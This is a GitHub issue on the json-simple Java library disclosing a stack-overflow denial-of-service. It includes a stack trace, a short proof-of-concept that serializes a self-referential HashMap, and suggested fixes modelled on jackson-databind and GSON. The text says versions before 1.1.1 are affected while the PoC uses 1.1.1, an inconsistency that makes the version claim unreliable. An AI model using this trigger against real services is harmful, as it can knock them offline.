fangyidong / json-simple

A simple Java toolkit for JSON. You can use json-simple to encode or decode JSON text.
Apache License 2.0
746 stars 340 forks source link

Stack overflow error caused by json-simple serialization Map #154

Open PoppingSnack opened 1 year ago

PoppingSnack commented 1 year ago

Stack overflow error caused by json-simple serialization Map

Description

json-simple before v1.1.1 was discovered to contain a stack overflow via the map parameter. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted string.

Error Log

Exception in thread "main" java.lang.StackOverflowError
    at java.base/java.lang.StringBuffer.<init>(StringBuffer.java:131)
    at org.json.simple.JSONObject.toJSONString(JSONObject.java:89)
    at org.json.simple.JSONValue.toJSONString(JSONValue.java:202)
    at org.json.simple.JSONObject.toJSONString(JSONObject.java:119)
    at org.json.simple.JSONObject.toJSONString(JSONObject.java:101)
    at org.json.simple.JSONValue.toJSONString(JSONValue.java:202)
    at org.json.simple.JSONObject.toJSONString(JSONObject.java:119)
    at org.json.simple.JSONObject.toJSONString(JSONObject.java:101)
    at org.json.simple.JSONValue.toJSONString(JSONValue.java:202)
    at org.json.simple.JSONObject.toJSONString(JSONObject.java:119)
    at org.json.simple.JSONObject.toJSONString(JSONObject.java:101)
    at org.json.simple.JSONValue.toJSONString(JSONValue.java:202)
    at org.json.simple.JSONObject.toJSONString(JSONObject.java:119)
    at org.json.simple.JSONObject.toJSONString(JSONObject.java:101)
    at org.json.simple.JSONValue.toJSONString(JSONValue.java:202)
    at org.json.simple.JSONObject.toJSONString(JSONObject.java:119)
    at org.json.simple.JSONObject.toJSONString(JSONObject.java:101)
    at org.json.simple.JSONValue.toJSONString(JSONValue.java:202)
    at org.json.simple.JSONObject.toJSONString(JSONObject.java:119)
    at org.json.simple.JSONObject.toJSONString(JSONObject.java:101)
    at org.json.simple.JSONValue.toJSONString(JSONValue.java:202)
    at org.json.simple.JSONObject.toJSONString(JSONObject.java:119)
    at org.json.simple.JSONObject.toJSONString(JSONObject.java:101)
    at org.json.simple.JSONValue.toJSONString(JSONValue.java:202)
    at org.json.simple.JSONObject.toJSONString(JSONObject.java:119)
    at org.json.simple.JSONObject.toJSONString(JSONObject.java:101)
    at org.json.simple.JSONValue.toJSONString(JSONValue.java:202)
    at org.json.simple.JSONObject.toJSONString(JSONObject.java:119)
    at org.json.simple.JSONObject.toJSONString(JSONObject.java:101)
    at org.json.simple.JSONValue.toJSONString(JSONValue.java:202)
    at org.json.simple.JSONObject.toJSONString(JSONObject.java:119)
    at org.json.simple.JSONObject.toJSONString(JSONObject.java:101)
    at org.json.simple.JSONValue.toJSONString(JSONValue.java:202)
    at org.json.simple.JSONObject.toJSONString(JSONObject.java:119)
    at org.json.simple.JSONObject.toJSONString(JSONObject.java:101)
    at org.json.simple.JSONValue.toJSONString(JSONValue.java:202)
    at org.json.simple.JSONObject.toJSONString(JSONObject.java:119)
    at org.json.simple.JSONObject.toJSONString(JSONObject.java:101)
    at org.json.simple.JSONValue.toJSONString(JSONValue.java:202)
    at org.json.simple.JSONObject.toJSONString(JSONObject.java:119)
    at org.json.simple.JSONObject.toJSONString(JSONObject.java:101)
    at org.json.simple.JSONValue.toJSONString(JSONValue.java:202)
    at org.json.simple.JSONObject.toJSONString(JSONObject.java:119)
    at org.json.simple.JSONObject.toJSONString(JSONObject.java:101)
    at org.json.simple.JSONValue.toJSONString(JSONValue.java:202)
    at org.json.simple.JSONObject.toJSONString(JSONObject.java:119)
    at org.json.simple.JSONObject.toJSONString(JSONObject.java:101)
    at org.json.simple.JSONValue.toJSONString(JSONValue.java:202)

PoC

        <dependency>
            <groupId>com.googlecode.json-simple</groupId>
            <artifactId>json-simple</artifactId>
            <version>1.1.1</version>
        </dependency>
import org.json.simple.JSONValue;

import java.util.HashMap;

public class PoC2 {

    public static void main(String[] args) {
        HashMap<String,Object> map=new HashMap<>();
        map.put("t",map);
        JSONValue.toJSONString(map);
    }
}

Rectification Solution

  1. Refer to the solution of jackson-databind: Add the depth variable to record the current parsing depth. If the parsing depth exceeds a certain threshold, an exception is thrown. (https://github.com/FasterXML/jackson-databind/commit/fcfc4998ec23f0b1f7f8a9521c2b317b6c25892b)

  2. Refer to the GSON solution: Change the recursive processing on deeply nested arrays or JSON objects to stack+iteration processing.((https://github.com/google/gson/commit/2d01d6a20f39881c692977564c1ea591d9f39027))

References

  1. https://github.com/jettison-json/jettison/issues/52
  2. https://github.com/jettison-json/jettison/pull/53/files